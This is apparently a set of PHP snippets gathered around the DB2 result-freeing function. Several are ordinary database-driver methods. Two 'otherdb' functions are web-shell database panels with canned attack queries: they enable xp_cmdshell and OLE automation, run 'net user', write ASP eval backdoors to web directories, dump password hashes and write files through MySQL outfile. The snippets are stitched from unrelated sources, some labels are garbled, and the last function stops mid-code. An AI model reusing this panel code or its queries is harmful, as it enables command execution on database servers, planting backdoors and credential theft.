/** * This function frees the command reference. * * @access public * @override * * @see http://www.php.net/manual/en/function.db2-free-result.php */ public function free() { if ($this->command !== NULL) { @db2_free_result($this->command); $this->command = NULL; $this->record = FALSE; } }
/** * {@inheritdoc} */ public function closeCursor() { if (!$this->_stmt) { return false; } $this->_bindParam = array(); db2_free_result($this->_stmt); $ret = db2_free_stmt($this->_stmt); $this->_stmt = false; return $ret; }
/** * {@inheritdoc} */ public function disConnect() { if ($this->result) { db2_free_result($this->result); } if (is_resource($this->connection)) { $this->connected = !db2_close($this->connection); } else { $this->connected = false; } return !$this->connected; }
function otherdb() { $db = isset($_GET['db']) ? $_GET['db'] : 'ms'; print <<<END <form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data"> <div class="actall"> <a href="?s=gg&db=ms">   MSSQL  </a> <a href="?s=gg&db=ora">   Oracle  </a> <a href="?s=gg&db=ifx">   InforMix  </a> <a href="?s=gg&db=fb">   FireBird  </a> <a href="?s=gg&db=db2">  DB2  </a></div></form> END; if ($db == "ms") { $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : ''; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print <<<END <div class="actall"> <form method="POST" name="msform" action="?s=gg&db=ms"> Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px"> User:<input type="text" name="msuser" value="{$msuser}" style="width:100px"> Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px"> Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br> <script language="javascript"> function msFull(i){ \tStr = new Array(11); \tStr[0] = ""; \tStr[1] = "select @@version;"; \tStr[2] = "select name from sysdatabases;"; \tStr[3] = "select name from sysobject where type='U';"; \tStr[4] = "select name from syscolumns where id=Object_Id('table_name');"; \tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');"; \tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');"; \tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; \tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; \tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; \tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';"; \tStr[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';"; \tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' "; \tmsform.mssql.value = Str[i]; \treturn true; } </script> <textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br> <select onchange="return msFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">��ʾ�汾</option> \t<option value="2">���ݿ�</option> \t<option value="3">����</option> \t<option value="4">�ֶ�</option> \t<option value="5">sp_oacreate</option> \t<option value="6">xp_cmdshell</option> \t<option value="7">xp_cmdshell(2005)</option> \t<option value="8">sp_oacreate(2005)</option> \t<option value="9">����openrowset(2005)</option> \t<option value="10">xp_cmdshell exec</option> \t<option value="10">sp_oamethod exec</option> \t<option value="11">sp_makewebtask</option> </select> <input type="hidden" name="action" value="msquery"> <input class="bt" type="submit" value="Query"></form></div> END; if ($msaction == 'msquery') { $msconn = mssql_connect($mshost, $msuser, $mspass); mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n"; } echo "</tr>\n"; mssql_data_seek($result, 0); while ($msrow = mssql_fetch_row($msresult)) { echo "<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td>' . "{$msrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; mssql_free_result($msresult); mssql_close(); } } elseif ($db == "ora") { $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print <<<END <form method="POST" name="oraform" action="?s=gg&db=ora"> <div class="actall"> Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px"> Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px"> User:<input type="text" name="orauser" value="{$orauser}" style="width:80px"> Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px"> SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br> <script language="javascript"> function oraFull(i){ Str = new Array(5); \tStr[0] = ""; \tStr[1] = "select version();"; \tStr[2] = "SELECT NAME FROM V{$DATABASE}"; \tStr[3] = "select * From all_objects where object_type='TABLE'"; \tStr[4] = "select column_name from user_tab_columns where table_name='table1'"; \toraform.orasql.value = Str[i]; \treturn true; } </script> <textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br> <select onchange="return oraFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">��ʾ�汾</option> \t<option value="2">���ݿ�</option> \t<option value="3">����</option> \t<option value="4">�ֶ�</option> </select> <input type="hidden" name="action" value="myquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($oraaction == 'oraquery') { $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror()); $oraresult = ociparse($oralink, $oraquery) or die(ocierror()); $orarow = oci_fetch_row($oraresult); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < oci_num_fields($oraresult); $i++) { echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n"; } echo "</tr>\n"; ociresult($oraresult, 0); while ($orarow = ora_fetch_row($oraresult)) { echo "<tr>\n"; for ($i = 0; $i < ora_num_fields($result); $i++) { echo '<td>' . "{$orarow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == "ifx") { $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print <<<END <form method="POST" name="ifxform" action="?s=gg&db=ifx"> <div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px"> User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px"> Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br> <script language="javascript"> function ifxFull(i){ Str = new Array(11); \tStr[0] = ""; \tStr[1] = "select dbservername from sysobjects;"; \tStr[2] = "select name from sysdatabases;"; \tStr[3] = "select tabname from systables;"; \tStr[4] = "select colname from syscolumns where tabid=n;"; \tStr[5] = "select username,usertype,password from sysusers;"; \tifxform.ifxsql.value = Str[i]; \treturn true; } </script> <textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br> <select onchange="return ifxFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">���ݿ�����������</option> \t<option value="1">���ݿ�</option> \t<option value="2">����</option> \t<option value="3">�ֶ�</option> \t<option value="4">hashes</option> </select> <input type="hidden" name="action" value="ifxquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($ifxaction == 'ifxquery') { $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg()); $ifxrow = ifx_fetch_row($ifxresult); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n"; } echo "</tr>\n"; mysql_data_seek($ifxresult, 0); while ($ifxrow = ifx_fetch_row($ifxresult)) { echo "<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td>' . "{$ifxrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db == "db2") { $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print <<<END <form method="POST" name="db2form" action="?s=gg&db=db2"> <div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px"> Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px"> User:<input type="text" name="db2user" value="{$db2user}" style="width:100px"> Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px"> Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br> <script language="javascript"> function db2Full(i){ Str = new Array(4); \tStr[0] = ""; \tStr[1] = "select schemaname from syscat.schemata;"; \tStr[2] = "select name from sysibm.systables;"; \tStr[3] = "select colname from syscat.columns where tabname='table_name';"; \tStr[4] = "db2 get db cfg for db_name;"; db2form.db2sql.value = Str[i]; return true; } </script> <textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br> <select onchange="return db2Full(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">���ݿ�</option> \t<option value="1">����</option> \t<option value="2">�ֶ�</option> \t<option value="3">���ݿ�����</option> </select> <input type="hidden" name="action" value="db2query"> <input class="bt" type="submit" value="Query"></div></form> END; if ($myaction == 'db2query') { $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg()); $db2row = db2_fetch_row($db2result); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n"; } echo "</tr>\n"; while ($db2row = db2_fetch_row($db2result)) { echo "<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td>' . "{$db2row[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; db2_free_result($db2result); db2_close(); } } elseif ($db == "fb") { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace("\\\\", "\\", $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print <<<END <form method="POST" name="fbform" action="?s=gg&db=fb"> <div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px"> Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px"> User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px"> Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/> <script language="javascript"> function fbFull(i){ Str = new Array(5); \tStr[0] = ""; \tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;"; \tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';"; \tStr[3] = "input 'D:\\createtable.sql';"; \tStr[4] = "shell netstat -an;"; fbform.fbsql.value = Str[i]; return true; } </script> <textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br> <select onchange="return fbFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">����</option> \t<option value="2">�ֶ�</option> \t<option value="3">����sql</option> \t<option value="4">shell</option> </select> <input type="hidden" name="action" value="fbquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($fbaction == 'fbquery') { $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg()); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n"; } echo "</tr>\n"; ibase_field_info($fbresult, 0); while ($fbrow = ibase_fetch_row($fbresult)) { echo "<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td>' . "{$fbrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; ibase_free_result($fbresult); ibase_close(); } } }
/** * Executes an SQL query * * @param string|fStatement $statement The statement to perform * @param fResult $result The result object for the query * @param array $params The parameters for prepared statements * @return void */ private function performQuery($statement, $result, $params) { fCore::startErrorCapture(); $extra = NULL; if (is_object($statement)) { $statement->executeQuery($result, $params, $extra, $statement != $this->statement); } elseif ($this->extension == 'ibm_db2') { $extra = db2_exec($this->connection, $statement, array('cursor' => DB2_FORWARD_ONLY)); if (is_resource($extra)) { $rows = array(); while ($row = db2_fetch_assoc($extra)) { $rows[] = $row; } $result->setResult($rows); unset($rows); } else { $result->setResult($extra); } } elseif ($this->extension == 'mssql') { $result->setResult(mssql_query($result->getSQL(), $this->connection)); } elseif ($this->extension == 'mysql') { $result->setResult(mysql_query($result->getSQL(), $this->connection)); } elseif ($this->extension == 'mysqli') { $result->setResult(mysqli_query($this->connection, $result->getSQL())); } elseif ($this->extension == 'oci8') { $extra = oci_parse($this->connection, $result->getSQL()); if ($extra && oci_execute($extra, $this->inside_transaction ? OCI_DEFAULT : OCI_COMMIT_ON_SUCCESS)) { oci_fetch_all($extra, $rows, 0, -1, OCI_FETCHSTATEMENT_BY_ROW + OCI_ASSOC); $result->setResult($rows); unset($rows); } else { $result->setResult(FALSE); } } elseif ($this->extension == 'pgsql') { $result->setResult(pg_query($this->connection, $result->getSQL())); } elseif ($this->extension == 'sqlite') { $result->setResult(sqlite_query($this->connection, $result->getSQL(), SQLITE_ASSOC, $extra)); } elseif ($this->extension == 'sqlsrv') { $extra = sqlsrv_query($this->connection, $result->getSQL()); if (is_resource($extra)) { $rows = array(); while ($row = sqlsrv_fetch_array($extra, SQLSRV_FETCH_ASSOC)) { $rows[] = $row; } $result->setResult($rows); unset($rows); } else { $result->setResult($extra); } } elseif ($this->extension == 'pdo') { if (preg_match('#^\\s*CREATE(\\s+OR\\s+REPLACE)?\\s+TRIGGER#i', $result->getSQL())) { $this->connection->exec($result->getSQL()); $extra = FALSE; $returned_rows = array(); } else { $extra = $this->connection->query($result->getSQL()); if (is_object($extra)) { // This fixes a segfault issue with blobs and fetchAll() for pdo_ibm if ($this->type == 'db2') { $returned_rows = array(); while (($row = $extra->fetch(PDO::FETCH_ASSOC)) !== FALSE) { foreach ($row as $key => $value) { if (is_resource($value)) { $row[$key] = stream_get_contents($value); } } $returned_rows[] = $row; } // pdo_dblib doesn't throw an exception on error when executing // a prepared statement when compiled against FreeTDS, so we have // to manually check the error info to see if something went wrong } elseif ($this->type == 'mssql' && !fCore::checkOS('windows') && preg_match('#^\\s*EXEC(UTE)?\\s+#i', $result->getSQL())) { $error_info = $extra->errorInfo(); if ($error_info && strpos($error_info[2], '(null) [0] (severity 0)') !== 0) { $returned_rows = FALSE; } } else { $returned_rows = $extra->fetchAll(PDO::FETCH_ASSOC); } } else { $returned_rows = $extra; } // The pdo_pgsql driver likes to return empty rows equal to the number of affected rows for insert and deletes if ($this->type == 'postgresql' && $returned_rows && $returned_rows[0] == array()) { $returned_rows = array(); } } $result->setResult($returned_rows); } $this->statement = $statement; $this->handleErrors(fCore::stopErrorCapture()); // The mssql extension will sometimes not return FALSE even if there are errors if (strlen($this->error) && strpos($this->error, 'WARNING!') !== 0) { $result->setResult(FALSE); } $this->checkForError($result, $extra); if ($this->extension == 'mssql') { $this->error = ''; } if ($this->extension == 'ibm_db2') { $this->setAffectedRows($result, $extra); if ($extra && !is_object($statement)) { db2_free_result($extra); } } elseif ($this->extension == 'pdo') { $this->setAffectedRows($result, $extra); if ($extra && !is_object($statement)) { $extra->closeCursor(); } } elseif ($this->extension == 'oci8') { $this->setAffectedRows($result, $extra); if ($extra && !is_object($statement)) { oci_free_statement($extra); } } elseif ($this->extension == 'sqlsrv') { $this->setAffectedRows($result, $extra); if ($extra && !is_object($statement)) { sqlsrv_free_stmt($extra); } } else { $this->setAffectedRows($result, $extra); } $this->setReturnedRows($result); $this->handleAutoIncrementedValue($result, $extra); }
/** * Disconnects from database. * * @return boolean True if the database could be disconnected, else false */ function disconnect() { @db2_free_result($this->results); $this->connected = !@db2_close($this->connection); return !$this->connected; }
/** * Frees memory associated with a statement resource * @param $res Object: statement resource to free * @return Boolean success or failure */ public function freeResult($res) { if ($res instanceof ResultWrapper) { $res = $res->result; } if (!@db2_free_result($res)) { throw new DBUnexpectedError($this, "Unable to free DB2 result\n"); } }
/** * Frees memory associated with a statement resource * @param $res Object: statement resource to free * @throws DBUnexpectedError * @return Boolean success or failure */ public function freeResult($res) { if ($res instanceof ResultWrapper) { $res = $res->result; } wfSuppressWarnings(); $ok = db2_free_result($res); wfRestoreWarnings(); if (!$ok) { throw new DBUnexpectedError($this, "Unable to free DB2 result\n"); } }
/** * Frees a result set. * * @param resource $res The database query resource returned from * the {@link dbi_query()} function. * * @return bool True on success */ function dbi_free_result($res) { if (strcmp($GLOBALS["db_type"], "mysql") == 0) { return mysql_free_result($res); } else { if (strcmp($GLOBALS["db_type"], "mysqli") == 0) { return mysqli_free_result($res); } else { if (strcmp($GLOBALS["db_type"], "mssql") == 0) { return mssql_free_result($res); } else { if (strcmp($GLOBALS["db_type"], "oracle") == 0) { // Not supported. Ingore. if ($GLOBALS["oracle_statement"] >= 0) { OCIFreeStatement($GLOBALS["oracle_statement"]); $GLOBALS["oracle_statement"] = -1; } } else { if (strcmp($GLOBALS["db_type"], "postgresql") == 0) { return pg_freeresult($res); } else { if (strcmp($GLOBALS["db_type"], "odbc") == 0) { return odbc_free_result($res); } else { if (strcmp($GLOBALS["db_type"], "ibm_db2") == 0) { return db2_free_result($res); } else { if (strcmp($GLOBALS["db_type"], "ibase") == 0) { return ibase_free_result($res); } else { dbi_fatal_error("dbi_free_result(): db_type not defined."); } } } } } } } } }
/** * Free resources associated with a query result set * @param Mixed qHanle The query handle */ public function closeQuery($qHanle) { @db2_free_result($qHanle); }
/** * Returns the next data set from a DB resource or false if there are no more results. * * @param resource $cursor * @param bool $convertNulls convert all null values to string zeroes * * @return array|bool */ function DBfetch($cursor, $convertNulls = true) { global $DB; $result = false; if (!isset($DB['DB']) || empty($DB['DB']) || is_bool($cursor)) { return $result; } switch ($DB['TYPE']) { case ZBX_DB_MYSQL: $result = mysqli_fetch_assoc($cursor); if (!$result) { mysqli_free_result($cursor); } break; case ZBX_DB_POSTGRESQL: if (!($result = pg_fetch_assoc($cursor))) { pg_free_result($cursor); } break; case ZBX_DB_ORACLE: if ($row = oci_fetch_assoc($cursor)) { $result = array(); foreach ($row as $key => $value) { $field_type = strtolower(oci_field_type($cursor, $key)); // Oracle does not support NULL values for string fields, so if the string is empty, it will return NULL // convert it to an empty string to be consistent with other databases $value = str_in_array($field_type, array('varchar', 'varchar2', 'blob', 'clob')) && is_null($value) ? '' : $value; if (is_object($value) && strpos($field_type, 'lob') !== false) { $value = $value->load(); } $result[strtolower($key)] = $value; } } break; case ZBX_DB_DB2: if (!($result = db2_fetch_assoc($cursor))) { db2_free_result($cursor); } else { // cast all of the values to string to be consistent with other DB drivers: all of them return // only strings. foreach ($result as &$value) { if ($value !== null) { $value = (string) $value; } } unset($value); } break; case ZBX_DB_SQLITE3: if ($DB['TRANSACTIONS'] == 0) { lock_sqlite3_access(); } if (!($result = $cursor->fetchArray(SQLITE3_ASSOC))) { unset($cursor); } else { // cast all of the values to string to be consistent with other DB drivers: all of them return // only strings. foreach ($result as &$value) { $value = (string) $value; } unset($value); } if ($DB['TRANSACTIONS'] == 0) { unlock_sqlite3_access(); } break; } if ($result) { if ($convertNulls) { foreach ($result as $key => $val) { if (is_null($val)) { $result[$key] = '0'; } } } return $result; } return false; }
function _close() { return @db2_free_result($this->_queryID); }
function otherdb() { $db = isset($_GET['db']) ? $_GET['db'] : ''; print <<<END <form method="POST" name="dbform" id="dbform" action="?s=w&db={$db}" enctype="multipart/form-data"> <div class="actall"><a href="?s=w">   psotgresql  </a> <a href="?s=w&db=ms">   mssql  </a> <a href="?s=w&db=ora">   oracle  </a> <a href="?s=w&db=ifx">   informix  </a> <a href="?s=w&db=fb">   firebird  </a> <a href="?s=w&db=db2">  db2  </a></div></form> END; if ($db == "ms") { $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '******'; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print <<<END <form method="POST" name="msform" action="?s=w&db=ms"> <div class="actall">Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px"> User:<input type="text" name="msuser" value="{$msuser}" style="width:100px"> Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px"> Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br><br> <script language="javascript"> function msFull(i){ \tStr = new Array(11); Str[0] = ""; \tStr[1] = "select @@version;"; Str[2] = "select name from sysdatabases;"; Str[3] = "select name from sysobject where type='U';"; Str[4] = "select name from syscolumns where id=Object_Id('table_name');"; Str[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');"; \tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');"; \tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; Str[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; Str[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; Str[10] = "Exec master.dbo.xp_cmdshell 'net user';"; Str[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';"; \tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' "; msform.mssql.value = Str[i]; \treturn true; } </script> <textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br> <select onchange="return msFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">version</option> <option value="2">databases</option> <option value="3">tables</option> <option value="4">columns</option> <option value="5">add sp_oacreate</option> \t<option value="6">add xp_cmdshell</option> \t<option value="7">add xp_cmdshell(2005)</option> <option value="8">add sp_oacreate(2005)</option> <option value="9">open openrowset(2005)</option> <option value="10">xp_cmdshell exec</option> <option value="10">sp_oamethod exec</option> <option value="11">sp_makewebtask</option> </select> <input type="hidden" name="action" value="msquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($msaction == 'msquery') { $msconn = mssql_connect($mshost, $msuser, $mspass); mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td bgcolor="#228B22"><b>' . mssql_field_name($msresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; mssql_data_seek($result, 0); while ($msrow = mssql_fetch_row($msresult)) { echo "<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$msrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; mssql_free_result($msresult); mssql_close(); } } elseif ($db == "ora") { $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print <<<END <form method="POST" name="oraform" action="?s=w&db=ora"> <div class="actall">Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px"> Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px"> User:<input type="text" name="orauser" value="{$orauser}" style="width:80px"> Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px"> SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br><br> <script language="javascript"> function oraFull(i){ \tStr = new Array(8); Str[0] = ""; \tStr[1] = "select version();"; Str[2] = "show databases;"; Str[3] = "show tables from db_name;"; Str[4] = "show columns from table_name;"; Str[5] = "select user,password from mysql.user;"; \tStr[6] = "select load_file(0xxxxxxxxxxxxxxxxxxxxx);"; \tStr[7] = "select 0xxxxx from mysql.user into outfile 'c:\\\\inetpub\\\\wwwroot\\\\test.php'"; \toraform.orasql.value = Str[i]; \treturn true; } </script> <textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br> <select onchange="return oraFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">version</option> <option value="2">databases</option> <option value="3">tables</option> <option value="4">columns</option> <option value="5">hashes</option> \t<option value="6">load_file</option> \t<option value="7">into outfile</option> </select> <input type="hidden" name="action" value="myquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($oraaction == 'oraquery') { $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror()); $oraresult = ociparse($oralink, $oraquery) or die(ocierror()); $orarow = oci_fetch_row($oraresult); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < oci_num_fields($oraresult); $i++) { echo '<td bgcolor="#228B22"><b>' . oci_field_name($oraresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; ociresult($oraresult, 0); while ($orarow = ora_fetch_row($oraresult)) { echo "<tr>\n"; for ($i = 0; $i < ora_num_fields($result); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$orarow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == "ifx") { $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print <<<END <form method="POST" name="ifxform" action="?s=w&db=ifx"> <div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px"> User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px"> Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br><br> <script language="javascript"> function ifxFull(i){ \tStr = new Array(11); Str[0] = ""; \tStr[1] = "select dbservername from sysobjects;"; Str[2] = "select name from sysdatabases;"; Str[3] = "select tabname from systables;"; Str[4] = "select colname from syscolumns where tabid=n;"; Str[5] = "select username,usertype,password from sysusers;"; \tifxform.ifxsql.value = Str[i]; 